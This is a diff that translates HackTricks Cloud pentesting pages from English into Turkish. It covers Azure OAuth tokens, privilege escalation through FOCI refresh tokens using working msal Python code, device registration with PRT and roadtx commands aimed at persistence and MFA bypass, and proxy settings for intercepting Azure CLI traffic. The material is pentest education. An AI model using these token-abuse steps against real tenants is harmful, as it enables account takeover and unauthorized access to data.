(AS):** Issues access tokens to client applications after authenticating and authorizing them. +1. **Kaynak Sunucusu (RS):** Kaynak sahibine ait kaynakları korur. +2. **Kaynak Sahibi (RO):** Genellikle korunan kaynaklara sahip olan son kullanıcıdır. +3. **İstemci Uygulaması (CA):** Kaynak sahibinin adına kaynaklara erişim talep eden bir uygulamadır. +4. **Yetkilendirme Sunucusu (AS):** İstemci uygulamalarına erişim belirteçleri verir, bunları kimlik doğrulama ve yetkilendirme işlemlerinden sonra. -**Scopes and Consent:** +**Kapsamlar ve Onay:** -- **Scopes:** Granular permissions defined on the resource server that specify access levels. -- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes. +- **Kapsamlar:** Erişim seviyelerini belirten, kaynak sunucusunda tanımlanan ayrıntılı izinlerdir. +- **Onay:** Bir kaynak sahibinin, belirli kapsamlarla kaynaklara erişim izni verdiği süreçtir. -**Microsoft 365 Integration:** +**Microsoft 365 Entegrasyonu:** -- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications. -- These applications are deeply integrated and often have interdependent service relationships. -- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications. -- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l. -- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces. +- Microsoft 365, IAM için Azure AD'yi kullanır ve birden fazla "birinci taraf" OAuth uygulamasından oluşur. +- Bu uygulamalar derinlemesine entegre edilmiştir ve genellikle karşılıklı bağımlı hizmet ilişkilerine sahiptir. +- Kullanıcı deneyimini basitleştirmek ve işlevselliği korumak için Microsoft, bu birinci taraf uygulamalarına "dolaylı onay" veya "ön onay" verir. +- **Dolaylı Onay:** Belirli uygulamalar, açık kullanıcı veya yönetici onayı olmaksızın **belirli kapsamlar için otomatik olarak erişim izni alır**. +- Bu ön onaylı kapsamlar genellikle hem kullanıcılar hem de yöneticiler için gizlidir, bu da onları standart yönetim arayüzlerinde daha az görünür hale getirir. -**Client Application Types:** +**İstemci Uygulama Türleri:** -1. **Confidential Clients:** - - Possess their own credentials (e.g., passwords or certificates). - - Can **securely authenticate themselves** to the authorization server. -2. **Public Clients:** - - Do not have unique credentials. - - Cannot securely authenticate to the authorization server. - - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application. +1. **Gizli İstemciler:** +- Kendi kimlik bilgilerine (örneğin, parolalar veya sertifikalar) sahiptir. +- Yetkilendirme sunucusuna **güvenli bir şekilde kimlik doğrulaması yapabilirler**. +2. **Açık İstemciler:** +- Benzersiz kimlik bilgilerine sahip değildir. +- Yetkilendirme sunucusuna güvenli bir şekilde kimlik doğrulaması yapamazlar. +- **Güvenlik Etkisi:** Bir saldırgan, belirteç talep ederken bir açık istemci uygulamasını taklit edebilir, çünkü yetkilendirme sunucusunun uygulamanın meşruiyetini doğrulamak için bir mekanizması yoktur. -## Authentication Tokens +## Kimlik Doğrulama Belirteçleri -There are **three types of tokens** used in OIDC: +OIDC'de **üç tür belirteç** kullanılır: -- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default. -- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**. -- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens). - - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**. - - A refresh token is encrypted and only Microsoft can decrypt it. - - Getting a new refresh token doesn't revoke the previous refresh token. +- [**Erişim Belirteçleri**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** İstemci, bu belirteci kaynak sunucusuna **kaynaklara erişmek için** sunar. Sadece belirli bir kullanıcı, istemci ve kaynak kombinasyonu için kullanılabilir ve **iptal edilemez**; bu, varsayılan olarak 1 saattir. +- **ID Belirteçleri**: İstemci, bu **belirteci yetkilendirme sunucusundan** alır. Kullanıcı hakkında temel bilgileri içerir. **Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır**. +- **Yenileme Belirteçleri**: Erişim belirteci ile birlikte istemciye verilir. **Yeni erişim ve ID belirteçleri almak için** kullanılır. Belirli bir kullanıcı ve istemci kombinasyonuna bağlıdır ve iptal edilebilir. Varsayılan süre dolma süresi, **90 gündür** inaktif yenileme belirteçleri için ve **aktif belirteçler için süre dolması yoktur** (bir yenileme belirteci ile yeni yenileme belirteçleri almak mümkündür). +- Bir yenileme belirteci, bir **`aud`** ile, bazı **kapsamlarla** ve bir **kiracıyla** ilişkilendirilmelidir ve yalnızca o aud, kapsamlar (ve daha fazlası değil) ve kiracı için erişim belirteçleri üretebilmelidir. Ancak, bu **FOCI uygulama belirteçleri** için geçerli değildir. +- Bir yenileme belirteci şifrelenmiştir ve yalnızca Microsoft bunu çözebilir. +- Yeni bir yenileme belirteci almak, önceki yenileme belirtecini iptal etmez. > [!WARNING] -> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**. +> **Koşullu erişim** bilgileri **JWT** içinde **saklanır**. Yani, **izin verilen bir IP adresinden belirteç talep ederseniz**, o **IP** belirteçte **saklanır** ve ardından o belirteci **izin verilmeyen bir IP'den kaynaklara erişmek için** kullanabilirsiniz. -### Access Tokens "aud" +### Erişim Belirteçleri "aud" -The field indicated in the "aud" field is the **resource server** (the application) used to perform the login. +"aud" alanında belirtilen alan, giriş işlemini gerçekleştirmek için kullanılan **kaynak sunucusudur** (uygulama). -The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token: +`az account get-access-token --resource-type [...]` komutu, aşağıdaki türleri destekler ve her biri sonuçta oluşan erişim belirtecinde belirli bir "aud" ekleyecektir: > [!CAUTION] -> Note that the following are just the APIs supported by `az account get-access-token` but there are more. +> Aşağıdakilerin yalnızca `az account get-access-token` tarafından desteklenen API'ler olduğunu unutmayın, ancak daha fazlası vardır.
-aud examples +aud örnekleri -- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD). - - `https://graph.windows.net/` +- **aad-graph (Azure Active Directory Graph API)**: Uygulamaların Azure Active Directory (Azure AD) içindeki dizin verilerini okumasına ve yazmasına olanak tanıyan eski Azure AD Graph API'ye (kaldırılmış) erişmek için kullanılır. +- `https://graph.windows.net/` -* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more. - - `https://management.core.windows.net/ or https://management.azure.com/` +* **arm (Azure Resource Manager)**: Azure kaynaklarını Azure Resource Manager API'si aracılığıyla yönetmek için kullanılır. Bu, sanal makineler, depolama hesapları ve daha fazlası gibi kaynakları oluşturma, güncelleme ve silme gibi işlemleri içerir. +- `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud. - - `https://batch.core.windows.net/` +- **batch (Azure Batch Services)**: Bulutta büyük ölçekli paralel ve yüksek performanslı hesaplama uygulamalarını verimli bir şekilde etkinleştiren Azure Batch'e erişmek için kullanılır. +- `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service. - - `https://datalake.azure.net/` +* **data-lake (Azure Data Lake Storage)**: Ölçeklenebilir veri depolama ve analiz hizmeti olan Azure Data Lake Storage Gen1 ile etkileşimde bulunmak için kullanılır. +- `https://datalake.azure.net/` -- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content. - - `https://rest.media.azure.net` +- **media (Azure Media Services)**: Video ve ses içeriği için bulut tabanlı medya işleme ve dağıtım hizmetleri sağlayan Azure Media Services'e erişmek için kullanılır. +- `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services. - - `https://graph.microsoft.com` +* **ms-graph (Microsoft Graph API)**: Microsoft 365 hizmet verileri için birleşik bir uç nokta olan Microsoft Graph API'ye erişmek için kullanılır. Azure AD, Office 365, Kurumsal Mobilite ve Güvenlik hizmetleri gibi hizmetlerden veri ve içgörülere erişmenizi sağlar. +- `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB. - - `https://ossrdbms-aad.database.windows.net` +- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL, PostgreSQL ve MariaDB gibi açık kaynaklı ilişkisel veritabanı motorları için Azure Veritabanı hizmetlerine erişmek için kullanılır. +- `https://ossrdbms-aad.database.windows.net`
-### Access Tokens Scopes "scp" +### Erişim Belirteçleri Kapsamları "scp" -The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to. +Bir erişim belirtecinin kapsamı, erişim belirteci JWT'si içindeki scp anahtarında saklanır. Bu kapsamlar, erişim belirtecinin erişim sağladığı alanları tanımlar. -If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT. - -### Get refresh & access token example +Eğer bir JWT belirli bir API ile iletişim kurmasına izin verilmişse ancak **istenen eylemi gerçekleştirmek için kapsamı yoksa**, o JWT ile o eylemi **gerçekleştiremeyecektir**. +### Yenileme ve erişim belirteci alma örneği ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -107,17 +106,17 @@ from typing import Any, Dict, List # LOGIN VIA CODE FLOW AUTHENTICATION azure_cli_client = msal.PublicClientApplication( - "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client +"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client ) device_flow = azure_cli_client.initiate_device_flow( - scopes=["https://graph.microsoft.com/.default"] +scopes=["https://graph.microsoft.com/.default"] ) print(device_flow["message"]) # Perform device code flow authentication azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow( - device_flow +device_flow ) pprint(azure_cli_bearer_tokens_for_graph_api) @@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api) # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: - """Decodes base64 encoded JWT blob""" - return jwt.decode( - base64_blob, options={"verify_signature": False, "verify_aud": False} - ) +"""Decodes base64 encoded JWT blob""" +return jwt.decode( +base64_blob, options={"verify_signature": False, "verify_aud": False} +) decoded_access_token = decode_jwt( - azure_cli_bearer_tokens_for_graph_api.get("access_token") +azure_cli_bearer_tokens_for_graph_api.get("access_token") ) pprint(decoded_access_token) # GET NEW ACCESS TOKEN AND REFRESH TOKEN new_azure_cli_bearer_tokens_for_graph_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), - # Same scopes as original authorization - scopes=["https://graph.microsoft.com/.default"], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +azure_cli_bearer_tokens_for_graph_api.get("refresh_token"), +# Same scopes as original authorization +scopes=["https://graph.microsoft.com/.default"], +) ) pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` +## FOCI Tokenları Yetki Yükseltme -## FOCI Tokens Privilege Escalation +Daha önce, yenileme tokenlarının oluşturulduğu **kapsamlar**, **uygulama** ve **kiracı** ile ilişkilendirilmesi gerektiği belirtilmişti. Bu sınırlardan herhangi biri ihlal edilirse, kullanıcının erişim iznine sahip olduğu diğer kaynaklar ve kiracılar için erişim tokenları oluşturmak mümkün olacağından yetki yükseltmek mümkündür ve bu, başlangıçta amaçlandığından daha fazla kapsam ile yapılabilir. -Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended. +Ayrıca, **bu, [Microsoft kimlik platformu](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra hesapları, Microsoft kişisel hesapları ve Facebook ve Google gibi sosyal hesaplar) ile tüm yenileme tokenları için mümkündür** çünkü [**belgelerde**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) belirtildiği gibi: "Yenileme tokenları, kullanıcı ve istemci kombinasyonuna bağlıdır, ancak **bir kaynak veya kiracıya bağlı değildir**. Bir istemci, izin verildiği herhangi bir kaynak ve kiracı kombinasyonu üzerinden erişim tokenları almak için bir yenileme tokenı kullanabilir. Yenileme tokenları şifrelenmiştir ve yalnızca Microsoft kimlik platformu bunları okuyabilir." -Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them." +Ayrıca, FOCI uygulamalarının kamuya açık uygulamalar olduğunu ve bu nedenle **sunucuya kimlik doğrulamak için bir sır gerekmediğini** unutmayın. -Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server. +Daha sonra, [**orijinal araştırmada**](https://github.com/secureworks/family-of-client-ids-research/tree/main) bildirilen bilinen FOCI istemcileri [**burada**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv) bulunabilir. -Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv). - -### Get different scope - -Following with the previous example code, in this code it's requested a new token for a different scope: +### Farklı Kapsam Al +Önceki örnek koduna devam ederek, bu kodda farklı bir kapsam için yeni bir token talep edilmektedir: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( - # Same client as original authorization - azure_cli_client.acquire_token_by_refresh_token( - new_azure_cli_bearer_tokens_for_graph_api.get( - "refresh_token" - ), - # But different scopes than original authorization - scopes=[ - "https://outlook.office.com/.default" - ], - ) +# Same client as original authorization +azure_cli_client.acquire_token_by_refresh_token( +new_azure_cli_bearer_tokens_for_graph_api.get( +"refresh_token" +), +# But different scopes than original authorization +scopes=[ +"https://outlook.office.com/.default" +], +) ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` - -### Get different client and scopes - +### Farklı istemci ve kapsamlar al ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") microsoft_office_bearer_tokens_for_graph_api = ( - # This is a different client application than we used in the previous examples - microsoft_office_client.acquire_token_by_refresh_token( - # But we can use the refresh token issued to our original client application - azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), - # And request different scopes too - scopes=["https://graph.microsoft.com/.default"], - ) +# This is a different client application than we used in the previous examples +microsoft_office_client.acquire_token_by_refresh_token( +# But we can use the refresh token issued to our original client application +azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"), +# And request different scopes too +scopes=["https://graph.microsoft.com/.default"], +) ) # How is this possible? pprint(microsoft_office_bearer_tokens_for_graph_api) ``` - -## References +## Referanslar - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5fe503c0b..04b767e47 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -1,44 +1,41 @@ -# Az - Device Registration +# Az - Cihaz Kaydı {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -When a device joins AzureAD a new object is created in AzureAD. +Bir cihaz AzureAD'ye katıldığında, AzureAD'de yeni bir nesne oluşturulur. -When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt. +Bir cihaz kaydedilirken, **kullanıcıdan hesabıyla giriş yapması istenir** (gerekirse MFA istenir), ardından cihaz kaydı hizmeti için token'lar talep edilir ve son bir onay istemi gösterilir. -Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible. - -Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).: +Ardından, cihazda iki RSA anahtar çifti oluşturulur: **cihaz anahtarı** (**açık** anahtar) **AzureAD**'ye gönderilir ve **taşıma** anahtarı (**özel** anahtar) mümkünse TPM'de saklanır. +Sonra, **nesne** **AzureAD**'de (Intune'da değil) oluşturulur ve AzureAD, cihaza imzalı bir **sertifika** geri verir. **Cihazın AzureAD'ye katıldığını** ve **sertifika** hakkında (örneğin, TPM ile korunup korunmadığı) bilgi kontrol edebilirsiniz. ```bash dsregcmd /status ``` +Cihaz kaydından sonra **Primary Refresh Token** LSASS CloudAP modülü tarafından talep edilir ve cihaza verilir. PRT ile birlikte **sadece cihazın şifreyi çözebileceği şekilde şifrelenmiş oturum anahtarı** da teslim edilir (taşıma anahtarının açık anahtarını kullanarak) ve **PRT'yi kullanmak için gereklidir.** -After the device registration a **Primary Refresh Token** is requested by the LSASS CloudAP module and given to the device. With the PRT is also delivered the **session key encrypted so only the device can decrypt it** (using the public key of the transport key) and it's **needed to use the PRT.** - -For more information about what is a PRT check: +PRT'nin ne olduğu hakkında daha fazla bilgi için kontrol edin: {{#ref}} az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - Trusted Platform Module +### TPM - Güvenilir Platform Modülü -The **TPM** **protects** against key **extraction** from a powered down device (if protected by PIN) nd from extracting the private material from the OS layer.\ -But it **doesn't protect** against **sniffing** the physical connection between the TPM and CPU or **using the cryptograpic material** in the TPM while the system is running from a process with **SYSTEM** rights. +**TPM**, kapalı bir cihazdan (PIN ile korunuyorsa) anahtar **çıkarma** ve OS katmanından özel materyali çıkarmaya karşı **korur**.\ +Ancak, **TPM ile CPU arasındaki fiziksel bağlantıyı dinlemek** veya sistem çalışırken **SYSTEM** haklarına sahip bir süreçten TPM'deki **kriptografik materyali** kullanmaya karşı **korumaz.** -If you check the following page you will see that **stealing the PRT** can be used to access like a the **user**, which is great because the **PRT is located devices**, so it can be stolen from them (or if not stolen abused to generate new signing keys): +Aşağıdaki sayfayı kontrol ederseniz, **PRT'yi çalmanın** **kullanıcı** gibi erişim sağlamak için kullanılabileceğini göreceksiniz, bu harika çünkü **PRT cihazlarda** bulunur, bu nedenle onlardan çalınabilir (veya çalınmazsa yeni imza anahtarları oluşturmak için kötüye kullanılabilir): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md {{#endref}} -## Registering a device with SSO tokens - -It would be possible for an attacker to request a token for the Microsoft device registration service from the compromised device and register it: +## SSO jetonları ile bir cihaz kaydetme +Bir saldırganın, ele geçirilmiş cihazdan Microsoft cihaz kayıt hizmeti için bir jeton talep etmesi ve kaydetmesi mümkün olacaktır: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -50,49 +47,46 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` - -Which will give you a **certificate you can use to ask for PRTs in the future**. Therefore maintaining persistence and **bypassing MFA** because the original PRT token used to register the new device **already had MFA permissions granted**. +Hangi, size **gelecekte PRT'ler talep etmek için kullanabileceğiniz bir sertifika verecektir**. Bu nedenle kalıcılığı sağlamakta ve **MFA'yı atlamakta** çünkü yeni cihazı kaydetmek için kullanılan orijinal PRT token'ı **zaten MFA izinleri verilmişti**. > [!TIP] -> Note that to perform this attack you will need permissions to **register new devices**. Also, registering a device doesn't mean the device will be **allowed to enrol into Intune**. +> Bu saldırıyı gerçekleştirmek için **yeni cihazlar kaydetme** izinlerine ihtiyacınız olacağını unutmayın. Ayrıca, bir cihaz kaydetmek, cihazın **Intune'a kaydolmasına izin verileceği** anlamına gelmez. > [!CAUTION] -> This attack was fixed in September 2021 as you can no longer register new devices using a SSO tokens. However, it's still possible to register devices in a legit way (having username, password and MFA if needed). Check: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). +> Bu saldırı Eylül 2021'de düzeltildi çünkü artık SSO token'ları kullanarak yeni cihazlar kaydedemezsiniz. Ancak, cihazları meşru bir şekilde kaydetmek hala mümkündür (gerekirse kullanıcı adı, şifre ve MFA ile). Kontrol edin: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Overwriting a device ticket +## Bir cihaz biletini geçersiz kılma -It was possible to **request a device ticket**, **overwrite** the current one of the device, and during the flow **steal the PRT** (so no need to steal it from the TPM. For more info [**check this talk**](https://youtu.be/BduCn8cLV1A). +**Bir cihaz bileti talep etmek**, cihazın mevcut olanını **geçersiz kılmak** ve akış sırasında **PRT'yi çalmak** mümkündü (bu nedenle TPM'den çalmaya gerek yoktur. Daha fazla bilgi için [**bu konuşmaya bakın**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] -> However, this was fixed. +> Ancak, bu düzeltildi. -## Overwrite WHFB key +## WHFB anahtarını geçersiz kılma -[**Check the original slides here**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) +[**Orijinal slaytlara buradan bakın**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) -Attack summary: +Saldırı özeti: -- It's possible to **overwrite** the **registered WHFB** key from a **device** via SSO -- It **defeats TPM protection** as the key is **sniffed during the generation** of the new key -- This also provides **persistence** +- **SSO** aracılığıyla bir **cihazdan kaydedilmiş WHFB** anahtarını **geçersiz kılmak** mümkündür +- Anahtar, yeni anahtarın **üretimi sırasında** **sniffed** olduğu için TPM korumasını **aşar** +- Bu ayrıca **kalıcılık** sağlar
-Users can modify their own searchableDeviceKey property via the Azure AD Graph, however, the attacker needs to have a device in the tenant (registered on the fly or having stolen cert + key from a legit device) and a valid access token for the AAD Graph. - -Then, it's possible to generate a new key with: +Kullanıcılar, Azure AD Graph aracılığıyla kendi searchableDeviceKey özelliklerini değiştirebilir, ancak saldırganın kiracıda bir cihaza (anlık olarak kaydedilmiş veya meşru bir cihazdan çalınmış sertifika + anahtar) ve AAD Graph için geçerli bir erişim token'ına sahip olması gerekir. +Sonra, yeni bir anahtar oluşturmak mümkündür: ```bash roadtx genhellokey -d -k tempkey.key ``` - -and then PATCH the information of the searchableDeviceKey: +ve ardından searchableDeviceKey'in bilgilerini PATCH edin:
-It's possible to get an access token from a user via **device code phishing** and abuse the previous steps to **steal his access**. For more information check: +**Cihaz kodu phishing** aracılığıyla bir kullanıcıdan erişim token'ı almak ve önceki adımları kötüye kullanarak **erişimini çalmak** mümkündür. Daha fazla bilgi için kontrol edin: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md @@ -100,14 +94,10 @@ az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-en
-## References +## Referanslar - [https://youtu.be/BduCn8cLV1A](https://youtu.be/BduCn8cLV1A) - [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g) - [https://www.youtube.com/watch?v=AFay_58QubY](https://www.youtube.com/watch?v=AFay_58QubY) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 6a0dce1da..fdda49b6f 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -2,10 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -## Install PowerShell in Linux +## Linux'te PowerShell Kurulumu > [!TIP] -> In linux you will need to install PowerShell Core: +> Linux'te PowerShell Core'u kurmanız gerekecek: > > ```bash > sudo apt-get update @@ -14,11 +14,11 @@ > # Ubuntu 20.04 > wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb > -> # Update repos +> # Repo'ları güncelle > sudo apt-get update > sudo add-apt-repository universe > -> # Install & start powershell +> # PowerShell'i kur ve başlat > sudo apt-get install -y powershell > pwsh > @@ -26,58 +26,47 @@ > curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash > ``` -## Install PowerShell in MacOS +## MacOS'ta PowerShell Kurulumu -Instructions from the [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): - -1. Install `brew` if not installed yet: +[**belgelerden**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4) gelen talimatlar: +1. Henüz kurulmadıysa `brew`'ü kurun: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` - -2. Install the latest stable release of PowerShell: - +2. En son kararlı PowerShell sürümünü yükleyin: ```sh brew install powershell/tap/powershell ``` - -3. Run PowerShell: - +3. PowerShell'i Çalıştır: ```sh pwsh ``` - -4. Update: - +4. Güncelleme: ```sh brew update brew upgrade powershell ``` - -## Main Enumeration Tools +## Ana Enumeration Araçları ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) is a cross-platform tool written in Python for managing and administering (most) Azure and Entra ID resources. It connects to Azure and executes administrative commands via the command line or scripts. +[**Azure Komut Satırı Arayüzü (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) Python ile yazılmış, (çoğu) Azure ve Entra ID kaynaklarını yönetmek ve idare etmek için kullanılan çok platformlu bir araçtır. Azure'a bağlanır ve komut satırı veya betikler aracılığıyla idari komutlar yürütür. -Follow this link for the [**installation instructions¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +[**Kurulum talimatları için bu bağlantıyı takip edin!**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). -Commands in Azure CLI are structured using a pattern of: `az ` +Azure CLI'deki komutlar şu yapıda düzenlenmiştir: `az ` -#### Debug | MitM az cli - -Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending: +#### Hata Ayıklama | MitM az cli +**`--debug`** parametresini kullanarak, aracın **`az`** gönderdiği tüm istekleri görmek mümkündür: ```bash az account management-group list --output table --debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do: +Bir **MitM** yapmak ve aracın manuel olarak gönderdiği **tüm istekleri kontrol etmek** için şunları yapabilirsiniz: {{#tabs }} {{#tab name="Bash" }} - ```bash export ADAL_PYTHON_SSL_NO_VERIFY=1 export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 @@ -90,64 +79,53 @@ export HTTP_PROXY="http://127.0.0.1:8080" openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem ``` - {{#endtab }} {{#tab name="PS" }} - ```bash $env:ADAL_PYTHON_SSL_NO_VERIFY=1 $env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1 $env:HTTPS_PROXY="http://127.0.0.1:8080" $env:HTTP_PROXY="http://127.0.0.1:8080" ``` - {{#endtab }} {{#endtabs }} ### Az PowerShell -Azure PowerShell is a module with cmdlets for managing Azure resources directly from the PowerShell command line. +Azure PowerShell, PowerShell komut satırından Azure kaynaklarını yönetmek için cmdlet'ler içeren bir modüldür. -Follow this link for the [**installation instructions**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +[**kurulum talimatları**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell) için bu bağlantıyı takip edin. -Commands in Azure PowerShell AZ Module are structured like: `-Az ` +Azure PowerShell AZ Modülündeki komutlar şu şekilde yapılandırılmıştır: `-Az ` #### Debug | MitM Az PowerShell -Using the parameter **`-Debug`** it's possible to see all the requests the tool is sending: - +**`-Debug`** parametresini kullanarak, aracın gönderdiği tüm istekleri görmek mümkündür: ```bash Get-AzResourceGroup -Debug ``` - -In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can set the env variables `HTTPS_PROXY` and `HTTP_PROXY` according to the [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Bir **MitM** gerçekleştirmek ve aracın manuel olarak gönderdiği **tüm istekleri** kontrol etmek için `HTTPS_PROXY` ve `HTTP_PROXY` ortam değişkenlerini [**belgelere**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) göre ayarlayabilirsiniz. ### Microsoft Graph PowerShell 